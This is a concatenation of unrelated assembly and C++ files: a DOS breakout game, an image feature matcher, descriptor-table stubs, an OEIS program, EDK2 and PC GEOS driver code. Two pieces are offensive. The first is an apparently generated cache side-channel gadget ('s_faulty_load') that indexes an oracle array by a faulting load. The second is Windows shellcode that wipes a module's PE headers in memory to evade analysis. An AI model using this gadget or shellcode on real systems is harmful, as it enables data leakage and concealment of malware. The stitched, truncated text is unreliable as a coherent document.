it moves up mov ax, [speedY] add ax, [balltopy] mov [bally], ax jmp after addtodown: mov ax, [speedY] add ax, [balldowny] mov [bally], ax after: cmp [speedX], 0;if the speed is greater then 0 it means je nomove jl addtoleft mov ax, [ballrightx] add ax, [speedX] mov [ballx], ax ret nomove: ret addtoleft: mov ax, [ballleftx] add ax, [speedX] mov [ballx], ax ret endp addtoball proc checkhit checkTHEplace: cmp [speedY], 0 jg checkpadhit jl checkupperwall ret checkupperwall: cmp [balltopy], 6 jbe upperWall cmp [speedX], 0 jg checkrightwall jl checkleftwall ret checkleftwall: cmp [ballleftx],6 jbe leftwall ret checkrightwall: cmp [ballrightx],314 jae rightwall ret checkpadhit: cmp [balldowny], 174 jae padhit cmp [speedX], 0 jg checkrightwall jl checkleftwall ret ;checks if u missed the ball=GAME-OVER ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;U P P E R W A L L !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! ;; speedY should be positive so the ball will move downwards upperWall: cmp [speedY], 0 jl negate2 ret negate2: mov [note], 0e1fh call beep neg [speedY] ret ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;LEFT W A L L !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! leftWall: mov [wallbol], 3 call delball mov ax, [balltempy] mov [bally], ax mov ax, 6 mov [ballx], ax mov al, 10 call ball mov [note], 0e1fh call beep neg [speedX] ret ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;R I G H T W A L L !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! rightwall: mov [wallbol], 3 call delball mov ax, [balltempy] mov [bally], ax mov ax, 314 mov [ballx], ax mov al, 10 call ball mov [note], 0e1fh call beep neg [speedX] ret ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;Paddle got a hit!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! padhit: ;check which direction the pad is moving in cmp [balldowny], 187 jae lost call delball mov ax, [balltempx] mov [ballx], ax mov ax, 179 mov [bally], ax mov al, 10 call ball mov cx, [padminx] mov [x], cx mov cx, [pady] mov [y], cx call printboard call timeiskey mov [note], 0d5ah call beep mov ax, [ballmiddlex] mov bx, [padminx] sub bx, 2 cmp ax, bx jb lost mov bx, [padmaxx] add bx, 2 cmp ax, bx ja lost cmp [padmov], 0 jz left2 cmp [padmov], 1 je right2 ret lost: mov ax, 1 mov [gameoverbol], ax ret right2: mov ax, [padminx] add ax, 22 cmp [ballmiddlex], ax jb leftoftheright add ax, 4 cmp [ballmiddlex], ax jb middleoftheright add ax, 22 cmp [ballmiddlex], ax jbe rightoftheright ret leftoftheright: mov ax, -8 mov [speedY], ax mov ax, 1 mov [speedX], ax ret middleoftheright: mov ax, -4 mov [speedY], ax mov ax, 2 mov [speedX], ax ret rightoftheright: mov ax, -2 mov [speedY], ax mov ax, 6 mov [speedX], ax ret left2: mov ax, [padminx] add ax, 22 cmp [ballmiddlex], ax jb leftoftheleft add ax, 4 cmp [ballmiddlex], ax jb middleoftheleft add ax, 22 cmp [ballmiddlex], ax jbe rightoftheleft ret leftoftheleft: mov ax, -2 mov [speedY], ax mov ax, -6 mov [speedX], ax ret middleoftheleft: mov ax, -4 mov [speedY], ax mov ax, -2 mov [speedX], ax ret rightoftheleft: mov ax, -8 mov [speedY], ax mov ax, -1 mov [speedX], ax ret endp checkhit ;produce a delay of 1/70 second ; taken from the internet proc DelayProc mov cx,1 mov dx,3dah loop11: push cx l1: in al,dx and al,08h jnz l1 l2: in al,dx and al,08h jz l2 pop cx loop loop11 ret endp DelayProc proc brickhit cmp [wallbol], 1 jae dontcheck cmp [brickbol], 1 jae dontbrick xor bx, bx mov ah, 0dh mov dx, 90 mov cx, [ballmiddlex] cmp [balltopy] , 14 jbe lowercheck checkbrokenbricks: int 10h cmp al, 0 jne nextcheck sub dx, 10 cmp dx, 0 jz bricksof jmp checkbrokenbricks dontcheck: dec [wallbol] ret dontbrick: dec [brickbol] ret bricksof: ret nextcheck: add dx, 5 cmp [balltopy], dx ;dangerzone jbe posshit ret posshit: cmp [speedY], 0 ;check if the ball is going to hit the brick from up or down jl lowercheck uppercheck: mov dx, [balldowny] add dx, [speedY] jmp nextcheck101 lowercheck: mov dx, [balltopy] add dx, [speedY] nextcheck101: cmp [speedX], 0 ;check if to use the right or the left ballx jge rightercheck leftercheck: mov cx, [ballrightx] cmp cx, 8 jbe finalcheck2 mov cx, [ballleftx] cmp cx, 8 jbe finalcheck2 add cx, [speedX] jmp finalcheck2 rightercheck: mov cx, [ballleftx] cmp cx, 312 jae finalcheck2 mov cx, [ballrightx] cmp cx, 312 jae finalcheck2 add cx, [speedX] finalcheck2: int 10h cmp al, 0 jne hit ret ;first we need to find the head of the cube in order to delete it hit: mov [savedcolor], al ;cmp [ballmiddlex], 39 ;jb firstbrick ;cmp [ballmiddlex], 279 ;ja lastbrick ;find the leftest x xsub: int 10h dec cx cmp [savedcolor], al je xsub add cx, 2 jmp ysub firstbrick: mov cx, 279 jmp ysub lastbrick: mov cx, -1 ;find the uppest y ysub: int 10h dec dx cmp [savedcolor], al je ysub ;add the things that were downed during the loops and delete the cube add dx, 2 dec cx mov [x], cx mov [y], dx ;mov dx, [y] ;add dx, 40 ;mov cx, [x] ;mov [bally], dx ;mov [ballx], cx ;call ball ; ; ;push [x] ;push [y] ;call timeiskey mov al, 0 call cube cmp [balltopy], 10 jbe check0 mov [note], 0fdah call beep neg [speedX] neg [speedY] ret check0: cmp [speedY], 0 jl negate ret negate: neg [speedX] neg [speedY] mov [note], 0fdah call beep ret endp brickhit proc vichecker mov bx, 0 mov [x], bx mov cx, 320 xchecker: push cx ;calculate the final y mov ax, [linecounter] mov bx, 10 mul bx add ax, 10 mov cx, ax mov dx, 0 mov ah, 0ch mov al, 9 mov bx, 0 mov ah, 0dh ychecker: push cx mov cx, [x] int 10h cmp al, 0 je goodtogo pop cx pop cx ret goodtogo: inc dx pop cx loop ychecker inc [x] pop cx loop xchecker mov [gamewinbol], 1 mov [brickbol], 2 ret endp vichecker proc keys cmp al, 1Fh ;press s for slowing the ball je slow cmp al, 21h ;press F for making the ball faster je fast cmp al, 2ch ;press z for cheating jne notcheat jmp cheat notcheat: ;cmp al, 2Eh ;press c for comp mode ;je compmode cmp al, 50h ;press down for fastest ball alive je youaskedforit mov [keybol], 0 ;no key was pressed cmp [secounter], 10 je highspeed ret youaskedforit: cmp [timerspeed], 2 jne n0p mov [fastestball], 1 inc [lifecounter] mov cx, 10 ;~some delay delayed99: push cx call delayproc pop cx loop delayed99 ret n0p: mov [timerspeed], 3;reset the timerspeed mov [fastestball], 2 ;reset the counter ret slow: cmp [slowbol], 1 jae decslow inc [timerspeed] mov [slowbol], 2 ret decslow: dec [slowbol] ret fast: cmp [fasterbol], 1 jae decfast mov ax, [fastestball] cmp [timerspeed], ax jbe nothighh mov [speedbol], 1 dec [timerspeed] mov [fasterbol], 2 nothighh: ret decfast: dec [fasterbol] ret highspeed: mov [secounter], 0 cmp [speedbol], 3 je nothigh cmp [timerspeed], 3 jbe nothigh dec [timerspeed] nothigh: ret cheat: mov ax, [cheatx] mov [x], ax mov ax, [cheaty] mov [y], ax mov al, 0 call cube mov ax, [cheatx] cmp ax, 319 je resetto0 add ax, 40 mov [cheatx], ax ret resetto0: mov ax, [cheaty] add ax, 10 mov [cheaty], ax mov ax, -1 mov [cheatx], ax ret endp keys proc speedprinter ;set cursor postion to the cordinate mov ah, 2 mov bh, 0 mov dl, 69 mov dh, 24 int 10h mov ax, [timerspeed] cmp al, 10 jbe notneeded mov bl, 10 div bl add al, 48 add ah, 47 mov [dollar], al mov [dollar+1], ah mov dx, offset dollar mov ah, 9 int 21h ret notneeded: mov dx, [timerspeed] add dl, 47 mov [dollar], dl mov [dollar+1], ' ' mov dx, offset dollar mov ah, 9 int 21h ret endp speedprinter start: mov ax, @data mov ds, ax ; -------------------------- mov ax, 13h ;enter graphic mode int 10h ;print welcome screen call OpenFile call ReadHeader call ReadPalette call CopyPal call CopyBitmap ; Wait for key press mov ah, 0ch mov al, 7h int 21h call cls call OpenFile1 call ReadHeader call ReadPalette call CopyPal call CopyBitmap mov ah, 0ch mov al, 7h int 21h ; 0 1 2 3 4 5 ;0 - - - - - - ;1 - - - - - - ;2 - - - - - - ;3 - - - - - - printagain: call cls call bricks ;print the bricks ;mov al, 0 ;mov [x], 279 ;mov [y], 0 ;call cube mov dx, offset lifeleft3 ;print a message in white(al, 15) mov ah, 9 int 21h mov dx, offset speed int 21h mov cx, 138 mov [x], cx mov cx, [pady] mov [y], cx call printboard ;print the paddle mov [lifecounter], 3 mov [timerspeed], 5 startgame: mov [speedbol], 0 mov [gameoverbol] , 0 mov [gamewinbol], 0 mov cx, 160 mov [ballx], cx mov cx, 100 mov [bally], cx mov al, 10 call ball ;print the ball ;press space if you dont like the bricks color mov ah, 0ch mov al, 7h int 21h cmp al, 20h je printagain mov ax, 2 mov [speedY], ax mov ax, 0 mov [speedX], ax mov ax, [timerspeed] add ax, 2 mov [timerspeed], ax game: ;3,2,1 Action!! mov ah, 0ch mov al, 0 int 21h call speedprinter notneeded2: cmp [gameoverbol], 1 jne gamenotover jmp gameover gamenotover: cmp [gamewinbol], 1 je victory call delball call addtoball call vichecker call finalcheck mov al, 10 call ball call checkhit call brickhit call timeiskey cmp al, 39h ;press space for reset jne next999 jmp printagain next999: cmp al, 1 ;press exit for pause je paus2 call keys jmp game victory: call cls call OpenFile3 call ReadHeader call ReadPalette call CopyPal call CopyBitmap mov cx, 50 ;~half a second delayed: push cx call delayproc pop cx loop delayed mov ah, 0ch mov al, 7h int 21h cmp al, 20h jne exit2 jmp printagain exit2: jmp exit paus2: ;pauses the game and w8 for key call speedprinter mov cx, 10 ;~some delay delayed5: push cx call delayproc pop cx loop delayed5 paus: mov ah, 0ch mov al, 0 int 21h ;check if a key was entered in al, 64h cmp al, 10b je paus in al, 60h cmp al, 1ch je exit2 mov [keybol], 1 call keys cmp [keybol], 1 je paus2 cmp al, 1 jne paus2 mov cx, 10 ;~half a second delayed4: push cx call delayproc pop cx loop delayed4 jmp game gameover: call delball cmp [lifecounter] , 3 je two2go cmp [lifecounter], 2 je one2go cmp [lifecounter], 1 je go two2go: ;set cursor postion to 0,0 in order to print again mov ah, 2 mov bh, 0 mov dh, 0 mov dl, 0 int 10h mov dx, offset lifeleft2 mov ah, 9 int 21h mov dx, offset speed int 21h dec [lifecounter] jmp startgame one2go: ;set cursor postion to 0,0 in order to print again mov ah, 2 mov bh, 0 mov dh, 0 mov dl, 0 int 10h mov dx, offset lifeleft1 mov ah, 9 int 21h mov dx, offset speed int 21h dec [lifecounter] jmp startgame go: call cls call OpenFile2 call ReadHeader call ReadPalette call CopyPal call CopyBitmap mov cx, 50 ;~half a second delayed2: push cx call delayproc pop cx loop delayed2 mov ah, 0ch mov al, 7h int 21h cmp al, 20h jne exit jmp printagain ; -------------------------- exit: mov ah, 0 mov al, 2 int 10h mov ax, 4c00h int 21h END start
// File: matcher.cc // Date: Fri May 03 17:02:09 2013 +0800 // Author: Yuxin Wu <ppwwyyxxc@gmail.com> #include <limits> #include <flann/flann.hpp> #include "matcher.hh" #include "lib/timer.hh" #include "feature.hh" using namespace std; using namespace config; #ifdef _MSC_VER // necessary to define here since flann doesn't provide serialization for size_t as unsigned long long namespace flann { namespace serialization { //BASIC_TYPE_SERIALIZER(size_t); } } #endif namespace pano { MatchData FeatureMatcher::match() const { static const float REJECT_RATIO_SQR = MATCH_REJECT_NEXT_RATIO * MATCH_REJECT_NEXT_RATIO; TotalTimer tm("MatcherBRIEF"); int l1 = feat1.size(), l2 = feat2.size(); // loop over the smaller one to speed up bool rev = l1 > l2; const vector<Descriptor> *pf1, *pf2; if (rev) { swap(l1, l2); pf1 = &feat2, pf2 = &feat1; } else { pf1 = &feat1, pf2 = &feat2; } MatchData ret; #pragma omp parallel for REP(k, l1) { const Descriptor& dsc1 = (*pf1)[k]; int min_idx = -1; int min = numeric_limits<int>::max(), next_min = min; // find top-2 NN of dsc1 from feat2 REP(kk, l2) { //float dist = dsc1.euclidean_sqr((*pf2)[kk], next_min); int dist = dsc1.hamming((*pf2)[kk]); if (dist < min) { next_min = min; min = dist; min_idx = kk; } else { update_min(next_min, dist); } } /// bidirectional rejection: // fix k, see if min_idx is distinctive among feat2 if (min > REJECT_RATIO_SQR * next_min) continue; // fix min_idx, see if k is distinctive among feat1 // next_min remains a large-enough number here, don't need to re-initialize const Descriptor& dsc2 = (*pf2)[min_idx]; REP(kk, l1) if (kk != k) { //float dist = dsc2.euclidean_sqr((*pf1)[kk], next_min); int dist = dsc2.hamming((*pf1)[kk]); update_min(next_min, dist); } if (min > REJECT_RATIO_SQR * next_min) continue; #pragma omp critical ret.data.emplace_back(k, min_idx); } if (rev) ret.reverse(); //printf("Number of matches found = %d\n",ret.size()); return ret; } void PairWiseMatcher::build() { printf("Building Tree\n"); GuardedTimer tm("BuildTrees"); for (auto& feat: feats) { float* buf = new float[feat.size() * D]; feature_bufs.emplace_back(buf); REP(i, feat.size()) { float* row = buf + D * i; memcpy(row, feat[i].descriptor.data(), D * sizeof(float)); } flann::Matrix<float> points(buf, feat.size(), D); trees.emplace_back(points, flann::KDTreeIndexParams(FLANN_NR_KDTREE)); // TODO param } #pragma omp parallel for schedule(dynamic) REP(i, (int)trees.size()) trees[i].buildIndex(); } MatchData PairWiseMatcher::match(int id1, int id2) const { printf("Entered Feature: PairWise::match\n"); static const float REJECT_RATIO_SQR = MATCH_REJECT_NEXT_RATIO * MATCH_REJECT_NEXT_RATIO; // loop over the smaller one to speed up bool rev = feats[id1].size() > feats[id2].size(); if (rev) swap(id1, id2); auto source = feats[id1], target = feats[id2]; const flann::Matrix<float> query(feature_bufs[id1], source.size(), D); flann::Matrix<int> indices(new int[source.size() * 2], source.size(), 2); flann::Matrix<float> dists(new float[source.size() * 2], source.size(), 2); trees[id2].knnSearch(query, indices, dists, 2, flann::SearchParams(128)); // TODO param MatchData ret; float* buf = new float[D]; flann::Matrix<int> indices_inv(new int[2], 1, 2); flann::Matrix<float> dists_inv(new float[2], 1, 2); REP(i, source.size()) { int mini = indices[i][0]; float mind = dists[i][0], mind2 = dists[i][1]; // 1-way rejection: if (mind > REJECT_RATIO_SQR * mind2) continue; // bidirectional rejection: //memcpy(buf, target[mini].descriptor.data(), D * sizeof(float)); flann::Matrix<float> query(target[mini].descriptor.data(), 1, D); trees[id1].knnSearch(query, indices_inv, dists_inv, 2, flann::SearchParams(128)); size_t bidirectional_mini = indices_inv[0][0]; mind2 = dists_inv[0][1]; if (bidirectional_mini != i) continue; if (mind > REJECT_RATIO_SQR * mind2) continue; ret.data.emplace_back(i, mini); } if (rev) ret.reverse(); delete[] indices.ptr(); delete[] dists.ptr(); delete[] indices_inv.ptr(); delete[] dists_inv.ptr(); delete[] buf; return ret; } }
[GLOBAL gdt_flush] ; Allows the C code to call gdt_flush(). gdt_flush: mov eax, [esp+4] ; Get the pointer to the GDT, passed as a parameter. lgdt [eax] ; Load the new GDT pointer mov ax, 0x10 ; 0x10 is the offset in the GDT to our data segment mov ds, ax ; Load all data segment selectors mov es, ax mov fs, ax mov gs, ax mov ss, ax jmp 0x08:.flush ; 0x08 is the offset to our code segment: Far jump! .flush: ret [GLOBAL idt_flush] ; Allows the C code to call idt_flush(). idt_flush: mov eax, [esp+4] ; Get the pointer to the IDT, passed as a parameter. lidt [eax] ; Load the IDT pointer. ret
; A021449: Decimal expansion of 1/445. ; Submitted by Jon Maiga ; 0,0,2,2,4,7,1,9,1,0,1,1,2,3,5,9,5,5,0,5,6,1,7,9,7,7,5,2,8,0,8,9,8,8,7,6,4,0,4,4,9,4,3,8,2,0,2,2,4,7,1,9,1,0,1,1,2,3,5,9,5,5,0,5,6,1,7,9,7,7,5,2,8,0,8,9,8,8,7,6,4,0,4,4,9,4,3,8,2,0,2,2,4,7,1,9,1,0,1 seq $0,199689 ; 8*10^n+1 div $0,356 mod $0,10
.global s_prepare_buffers s_prepare_buffers: push %r13 push %r8 push %r9 push %rbp push %rbx push %rcx push %rdi push %rsi lea addresses_A_ht+0x1d31c, %rdi cmp $50604, %r9 movw $0x6162, (%rdi) nop nop nop inc %r8 lea addresses_WC_ht+0x106e4, %r13 nop nop nop nop cmp $7094, %rbp mov (%r13), %rbx nop nop nop nop sub $28070, %r8 lea addresses_normal_ht+0xf530, %rsi lea addresses_UC_ht+0x1750c, %rdi nop sub $2135, %rbp mov $50, %rcx rep movsl nop nop nop nop and %r8, %r8 lea addresses_WT_ht+0x130dc, %rcx nop nop sub $23553, %rdi mov (%rcx), %r8 nop nop nop nop nop dec %rcx lea addresses_D_ht+0xb1bc, %rsi lea addresses_WC_ht+0x1381c, %rdi nop nop nop nop nop cmp $63813, %rbx mov $94, %rcx rep movsw nop nop nop sub $35263, %rcx lea addresses_A_ht+0x13a48, %rsi lea addresses_WC_ht+0x1d59c, %rdi clflush (%rsi) nop dec %r13 mov $39, %rcx rep movsb nop nop nop nop add %rdi, %rdi lea addresses_D_ht+0x1032c, %rdi nop add %rbx, %rbx mov (%rdi), %r8d nop nop nop nop nop sub $60678, %rbp lea addresses_normal_ht+0x143c, %rsi lea addresses_UC_ht+0xbaac, %rdi nop nop sub %r9, %r9 mov $16, %rcx rep movsb and %rsi, %rsi lea addresses_D_ht+0x139c, %rsi lea addresses_WC_ht+0x3a9c, %rdi clflush (%rdi) nop nop xor $5917, %rbx mov $120, %rcx rep movsw nop nop nop and $41109, %r8 lea addresses_WT_ht+0xec9c, %r8 clflush (%r8) nop nop nop nop cmp $26625, %rbx mov (%r8), %rdi nop nop nop and $10400, %r13 lea addresses_normal_ht+0xbc3e, %rcx nop nop nop nop nop sub $58474, %r9 mov $0x6162636465666768, %rdi movq %rdi, (%rcx) nop nop sub %rbp, %rbp pop %rsi pop %rdi pop %rcx pop %rbx pop %rbp pop %r9 pop %r8 pop %r13 ret .global s_faulty_load s_faulty_load: push %r11 push %r15 push %r8 push %rbp push %rdi push %rdx push %rsi // Store lea addresses_PSE+0x1421c, %rsi nop nop xor %rdi, %rdi mov $0x5152535455565758, %rdx movq %rdx, (%rsi) nop nop nop cmp %rdx, %rdx // Faulty Load lea addresses_WC+0xfc9c, %r15 clflush (%r15) add %r11, %r11 vmovups (%r15), %ymm6 vextracti128 $0, %ymm6, %xmm6 vpextrq $0, %xmm6, %rdx lea oracles, %rsi and $0xff, %rdx shlq $12, %rdx mov (%rsi,%rdx,1), %rdx pop %rsi pop %rdx pop %rdi pop %rbp pop %r8 pop %r15 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_WC', 'congruent': 0}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_PSE', 'congruent': 3}, 'OP': 'STOR'} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_WC', 'congruent': 0}} <gen_prepare_buffer> {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_A_ht', 'congruent': 7}, 'OP': 'STOR'} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_WC_ht', 'congruent': 2}} {'dst': {'same': False, 'congruent': 3, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 2, 'type': 'addresses_normal_ht'}} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_WT_ht', 'congruent': 6}} {'dst': {'same': False, 'congruent': 7, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 4, 'type': 'addresses_D_ht'}} {'dst': {'same': True, 'congruent': 2, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 1, 'type': 'addresses_A_ht'}} {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_D_ht', 'congruent': 4}} {'dst': {'same': False, 'congruent': 4, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 5, 'type': 'addresses_normal_ht'}} {'dst': {'same': False, 'congruent': 9, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 7, 'type': 'addresses_D_ht'}} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_WT_ht', 'congruent': 7}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_normal_ht', 'congruent': 0}, 'OP': 'STOR'} {'38': 21829} 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 */
sjmp prog data: .string "Hello world" ;Hello world string .byte 0x00 ;Null character .equ "str_len", 11 ;Length of string prog: ldmptr data ;Load location of string lda 0x00 ;Loop counter loop: ldb@mptr r0, 0x01 ;Load r0 with character and offset addi 1 cei str_len notf sjmpf loop ;Loop till a==str_len hlt: sjmp hlt ;stop
;------------------------------------------------------------------------------ ; ; Copyright (c) 2006, Intel Corporation. All rights reserved.<BR> ; SPDX-License-Identifier: BSD-2-Clause-Patent ; ; Module Name: ; ; CpuPause.Asm ; ; Abstract: ; ; CpuPause function ; ; Notes: ; ;------------------------------------------------------------------------------ DEFAULT REL SECTION .text ;------------------------------------------------------------------------------ ; VOID ; EFIAPI ; CpuPause ( ; VOID ; ); ;------------------------------------------------------------------------------ global ASM_PFX(CpuPause) ASM_PFX(CpuPause): pause ret
;-----------------------------------------------------------------------------; ; Author: Ege Balcı <ege.balci[at]invictuseurope[dot]com> ; Compatible: Windows 10/8.1/8/7/2008/Vista/2003/XP/2000/NT4 ; Version: 1.0 (25 January 2018) ; Size: 177 bytes ;-----------------------------------------------------------------------------; [BITS 32] pushad ; We preserve all the registers for the caller, bar EAX and ECX. xor eax,eax ; Zero EAX (upper 3 bytes will remain zero until function is found) mov ebx,[fs:eax+0x30] ; Get a pointer to the PEB mov ebx,[ebx+0x0C] ; Get PEB->Ldr mov ebx,[ebx+0x14] ; Get the first module from the InMemoryOrder module list mov ebx,[ebx+0x10] ; Get this modules base address call block_api %include "../block_api.asm" block_api: pop ebp ; Get the address of block_api to EBP mov ecx,0x1000 ; sizeof(PE_HEADERS) push dword 0x00 ; OldProtect push esp ; lpflOldProtect push dword 0x04 ; flNewProtect (PAGE_READWRITE) push 0x1010 ; dwSize (Extra 0x10 bytes for safety) push ebx ; lpAddress (EBX) push 0xC38AE110 ; hash( "KERNEL32.dll", "VirtualProtect" ) call ebp ; VirtualProtect() wipe: mov dword [ebx],0x00 ; Wipe 1 byte inc ebx ; Increase EBX pointer loop wipe ; Loop until ECX == 0 popad ; Pop back all the registers ret ; <-
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) Berkeley Softworks 1990 -- All Rights Reserved PROJECT: PC GEOS MODULE: Diablo Daisy Wheel driver FILE: diablo630Info.asm AUTHOR: Dave Durran, 27 Mar 1990 REVISION HISTORY: Name Date Description ---- ---- ----------- Dave 3/27/90 Initial revision Dave 5/92 Initial 2.0 version DESCRIPTION: This file contains the device information for the toshiba P321 printer Other Printers Supported by this resource: $Id: diablo630Info.asm,v 1.1 97/04/18 11:56:34 newdeal Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ;---------------------------------------------------------------------------- ; Diablo 630 ;---------------------------------------------------------------------------- d630Info segment resource ; info blocks PrinterInfo < ; ---- PrinterType ------------- < PT_RASTER, BMF_MONO >, ; ---- PrinterConnections ------ < IC_NO_IEEE488, CC_NO_CUSTOM, SC_NO_SCSI, RC_RS232C, CC_CENTRONICS, FC_FILE, AC_NO_APPLETALK >, ; ---- PrinterSmarts ----------- PS_DUMB_RASTER, ;-------Custom Entry Routine------- NULL, ;-------Custom Exit Routine------- NULL, ; ---- Mode Info Offsets ------- NULL, NULL, NULL, NULL, offset printerFontInfo:d630nlq, ; ---- Font Geometry ----------- offset d630fontGeometries, ; ---- Symbol Set list ----------- NULL, ; ---- PaperMargins ------------ < PR_MARGIN_LEFT, ; Tractor Margins PR_MARGIN_TRACTOR, PR_MARGIN_RIGHT, PR_MARGIN_TRACTOR >, < PR_MARGIN_LEFT, ; ASF Margins PR_MARGIN_TOP, PR_MARGIN_RIGHT, PR_MARGIN_BOTTOM >, ; ---- PaperInputOptions ------- < MF_MANUAL1, TF_TRACTOR1, ASF_TRAY1 >, ; ---- PaperOutputOptions ------ < OC_NO_COPIES, PS_REVERSE, OD_SIMPLEX, SO_NO_STAPLER, OS_NO_SORTER, OB_NO_OUTPUTBIN >, ; 612, ; paper width (points). NULL, ; Main UI ASF0BinOptionsDialogBox,; Options UI PrintEvalASF0Bin ; UI eval Routine > ;---------------------------------------------------------------------------- ; Text modes info ;---------------------------------------------------------------------------- ;need to add geometries in ascending pointsize, grouped by font d630fontGeometries FontGeometry \ < FID_DTC_URW_ROMAN, 12, offset d630_12ptpitchTab > word FID_INVALID ;table terminator d630_12ptpitchTab label byte byte TP_17_PITCH byte TP_15_PITCH byte TP_12_PITCH byte TP_10_PITCH byte TP_PROPORTIONAL ;"table Terminator" d630Info 